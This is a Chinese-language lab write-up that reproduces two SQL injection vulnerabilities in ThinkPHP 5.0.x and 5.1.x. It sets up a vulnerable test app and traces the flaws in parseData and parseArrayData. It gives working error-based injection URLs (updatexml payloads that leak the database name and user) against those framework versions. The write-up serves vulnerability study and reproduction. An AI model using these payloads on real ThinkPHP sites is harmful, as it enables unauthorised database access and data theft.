0x01
漏洞概要
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
漏洞影响版本
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
环境搭建
环境version
我在使用PHP7以上的高版本搭建时失败了,改用PHP5.4.45
Mysql5.7.32
获取thinkPHP
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
我们需要修改composer.json文件的require内容如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
},
并且执行
“composer update“
mysql环境
执行
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
修改php文件
修改入口文件***/tpdemo/application/index/controller/Index.php**内容为
get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
修改application/database.php文件内容,连接数据库;
并开启 application/config.php 中的 app_debug 和 app_trace
漏洞复现
Payload:
“http://localhost:8888/tpdemo/public/index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,database(),0x7e),1)&username[2]=1“
在图中位置添加断点
进入insert方法,步过到
$sql = $this->builder->insert($data, $options, $replace);
insert方法所在的Mysql 类继承于 Builder 类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法。我们步入到Builder 类的insert方法里:
可以看到我们输入的username参数作为数组被储存在$data中,并且使用parseData方法进行处理,而 parseData 方法直接将来自用户的数据 $val 进行了拼接返回。我们的恶意数据存储在 $val[1] 中,虽经过了 parseKey 方法处理,但丝毫不受影响,因为该方法只是用来解析处理数据的,并不是清洗数据
我们步入parseData进行查看:
因为在我们传入的恶意payload中,**$val数组的第一个元素是inc,所以在图中switch语句中会匹配到箭头所指的位置,使用parseKey方法处理$val数组的第二个元素,也就是我们的恶意payload,返回给$result[$item]**,然后再回到 Builder 类的 insert 方法,直接通过替换字符串的方式,将 $data 填充到 SQL 语句中,进而执行,造成 SQL注入漏洞 。
此时的**$sql内容为“INSERT INTO users
(username
) VALUES (updatexml(1,concat(0x7,database(),0x7e),1)+1) “**
成功造成sql注入:
思考
我们看到在parseData方法中,switch结构去匹配**$val数组的第一个元素,值为inc和dec的处理行为相似,所以我们传入的username数组第一个元素值也可以写成dec**
至于为什么exp不能使用,实际上, exp 的情况早在传入 insert 方法前就被 ThinkPHP 内置过滤方法给处理了,如果数据中存在 exp ,则会被替换成 exp空格 ,这也是为什么 ThinkPHP 官方没有对 exp 的情况进行处理的原因了。具体内置过滤方法的代码如下:
路径:*/tpdemo/thinkphp/library/think/Request.php
如果我们将EXP从这个正则中删除,username第一个元素传入exp也可以造成sql注入
0x02
漏洞概要
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
搭建环境
获取thinkPHP
composer create-project topthink/think=5.1.* tp5
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}
执行composer update
创建数据库
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'m1saka');
修改配置文件
在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 。
修改入口文件
将 application/index/controller/Index.php 文件代码设置如下:
get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}
复现过程
Payload:
http://localhost:8888/tpdemo/public/index.php?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
在图中所示位置下断点:
浏览器输入payload,我们步入到Query.php下的update方法, payload 数据经过 ThinkPHP 内置方法的过滤后(不影响我们的 payload ),直接进入了 Query 类的 update 方法。该方法调用了 Connection 类的 update 方法,该方法又调用了 $this->builder 的 insert 方法,这里的 $this->builder 为 \think\db\builder\Mysql 类,该类继承于 Builder 类。
步入Connection.php下的update方法
可以看到update方法中调用了parseData方法,我们继续跟进parseData方法,此时我们传入的username数组参数作为parseData方法的**$data参数,又赋值给$val参数,进入下面的switch case**语句进行处理。
会进入default中使用parseArrayData处理,我们步入到parseArrayData中:
$data是我们传入的参数,所以在此方法中,**$fun $point** 和**$value都是我们可以控制的,$result** 相当于 $a(‘$b($c)’) 其中 $a、$b、$c 均可控。最后形成的 SQL 语句如下:
UPDATE `users` SET `username` = a('b($c)') WHERE `id` = 1;
接着我们想办法闭合即可。我们令 $a = updatexml(1,concat(0x7,user(),0x7e),1)^ 、 $b = 0 、 $c = 1 ,即:
UPDATE `users` SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = 1
这样就可以造成sql注入。
贴一张mochazz师傅总结的图